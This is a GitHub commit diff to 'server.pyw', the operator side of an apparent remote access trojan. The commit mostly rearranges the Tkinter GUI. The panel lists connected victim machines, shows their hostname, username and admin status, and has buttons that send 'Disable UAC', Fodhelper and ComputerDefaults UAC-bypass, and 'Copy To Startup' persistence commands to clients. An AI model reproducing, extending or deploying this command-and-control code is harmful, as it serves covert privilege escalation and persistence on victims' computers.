Skip to content

Commit 7277136

Browse files
Version 2 Fixed UI Problems
1 parent 3ffe6d5 commit 7277136

File tree

1 file changed

+23
-15
lines changed

1 file changed

+23
-15
lines changed

server.pyw

Lines changed: 23 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ from threading import Thread
22
from socket import socket,AF_INET,SOCK_STREAM
33
from pickle import loads,dumps
44
from tkinter.messagebox import showerror
5-
from tkinter import END,Text,Label,Listbox,Tk,Entry,Button,StringVar,Scrollbar
5+
from tkinter import END,Text,Label,Listbox,Tk,Entry,Button,StringVar,Scrollbar,Frame
66
from sys import exit,argv
77
from zlib import compress,decompress
88
from os.path import exists,dirname,join
@@ -32,8 +32,8 @@ class RunServer(object):
3232
self.__socket=socket(AF_INET,SOCK_STREAM)
3333
self.__socket.bind(("0.0.0.0",8085))
3434
self.__socket.listen(100)
35-
self.__handle=Thread(target=self.__handle_new_client)
36-
self.__bar_handle=Thread(target=self.__bar_motion)
35+
self.__handle=Thread(target=self.__handle_new_client,daemon=True)
36+
self.__bar_handle=Thread(target=self.__bar_motion,daemon=True)
3737
self.__gui()
3838
@staticmethod
3939
def __center(win:Tk)->None:win.update();win.geometry("+{}+{}".format((win.winfo_screenwidth()//2)-(win.winfo_width()//2),(win.winfo_screenheight()//2)-(win.winfo_height()//2)))
@@ -353,6 +353,14 @@ class RunServer(object):
353353
self.lista=Listbox(root,width=35,height=15)
354354
self.commands=Listbox(root,width=35,height=15)
355355
self.__load_commands()
356+
frame=Frame(root)
357+
frame.columnconfigure(list(range(3)),weight=1)
358+
frame.rowconfigure(list(range(2)),weight=1)
359+
frame.grid(row=4,column=2,rowspan=2,columnspan=2,sticky="NSEW")
360+
iframe=Frame(root)
361+
iframe.columnconfigure(list(range(3)),weight=1)
362+
iframe.rowconfigure(list(range(2)),weight=1)
363+
iframe.grid(row=6,column=0,rowspan=2,columnspan=3,sticky="NSEW")
356364
sb=Scrollbar(root,orient="vertical",command=self.lista.yview)
357365
sb1=Scrollbar(root,orient="vertical")
358366
sb2=Scrollbar(root,orient="vertical",command=self.commands.yview)
@@ -372,24 +380,24 @@ class RunServer(object):
372380
self.commands.bind("<Return>",self.__execute_command)
373381
self.lista.bind("<Return>", self.__select)
374382
Button(root,text="Delete Client",width=20,command=self.__rem_client).grid(row=3,column=0,columnspan=2,sticky="NSEW")
375-
Button(root,text="Send Command",width=20,command=self.__send_command).grid(row=4,column=2,sticky="NSW")
376-
Button(root,text="Disable UAC",width=20,command=lambda:self.__send_command(cmd="lua")).grid(row=5,column=2,sticky="NSW")
377-
Button(root,text="Fodhelper Bypass",width=20,command=lambda:self.__send_command(cmd="fodhelper")).grid(row=4,column=2,columnspan=2,sticky="NSE")
378-
Button(root,text="ComputerDefaults Bypass",width=20,command=lambda:self.__send_command(cmd="computerdefaults")).grid(row=4,column=2,columnspan=2,sticky="NS")
379-
Button(root,text="Copy To Startup",width=20,command=lambda:self.__send_command(cmd="cys")).grid(row=5,column=2,columnspan=2,sticky="NS")
380-
Button(root,text="Exit",width=20,command=self.__exit).grid(row=5,column=2,columnspan=2,sticky="NSE")
383+
Button(frame,text="Send Command",width=20,command=self.__send_command).grid(column=0,row=0,sticky="NSEW")
384+
Button(frame,text="Disable UAC",width=20,command=lambda:self.__send_command(cmd="lua")).grid(column=0,row=1,sticky="NSEW")
385+
Button(frame,text="Fodhelper Bypass",width=20,command=lambda:self.__send_command(cmd="fodhelper")).grid(column=2,row=0,sticky="NSEW")
386+
Button(frame,text="ComputerDefaults Bypass",width=20,command=lambda:self.__send_command(cmd="computerdefaults")).grid(column=1,row=0,sticky="NSEW")
387+
Button(frame,text="Copy To Startup",width=20,command=lambda:self.__send_command(cmd="cys")).grid(column=1,row=1,sticky="NSEW")
388+
Button(frame,text="Exit",width=20,command=self.__exit).grid(column=2,row=1,sticky="NSEW")
381389
Button(root,text="Select",width=20,command=self.__select).grid(row=4,column=0,columnspan=2,sticky="NSEW")
382390
Button(root,text="Refresh",width=20,command=self.__refresh).grid(row=5,column=0,columnspan=2,sticky="NSEW")
383391
Button(root,text="Send Command",width=20,command=self.__execute_command).grid(row=3,column=4,columnspan=2,sticky="NSEW")
384392
Button(root,text="Change Command",width=20,command=self.__change_command).grid(row=4,column=4,columnspan=2,sticky="NSEW")
385393
Button(root,text="Add New Command",width=20,command=self.__add_command).grid(row=5,column=4,columnspan=2,sticky="NSEW")
386394
Button(root,text="Delete Command",width=20,command=self.__del_command).grid(row=6,column=4,columnspan=2,sticky="NSEW")
387-
Label(root,textvariable=self.hostname).grid(row=6,column=1,sticky="NSEW")
388-
Label(root,textvariable=self.release).grid(row=6,column=2,sticky="NSEW")
389-
Label(root,textvariable=self.machine).grid(row=6,column=2,columnspan=2,sticky="NSEW")
390-
Label(root,textvariable=self.username).grid(row=6,column=0,sticky="NSEW")
391-
Label(root,textvariable=self.isadmin).grid(row=7,column=0,sticky="NSEW")
392-
Label(root,textvariable=self.processor).grid(row=7,column=1,columnspan=3,sticky="NSEW")
395+
Label(iframe,textvariable=self.hostname).grid(column=0,row=0,sticky="NSEW")
396+
Label(iframe,textvariable=self.release).grid(column=2,row=1,sticky="NSEW")
397+
Label(iframe,textvariable=self.machine).grid(column=2,row=0,sticky="NSEW")
398+
Label(iframe,textvariable=self.username).grid(column=1,row=0,sticky="NSEW")
399+
Label(iframe,textvariable=self.isadmin).grid(column=0,row=1,sticky="NSEW")
400+
Label(iframe,textvariable=self.processor).grid(column=1,row=1,sticky="NSEW")
393401
self.__bar_handle.start()
394402
self.__handle.start()
395403
root.mainloop()

0 commit comments

Comments
 (0)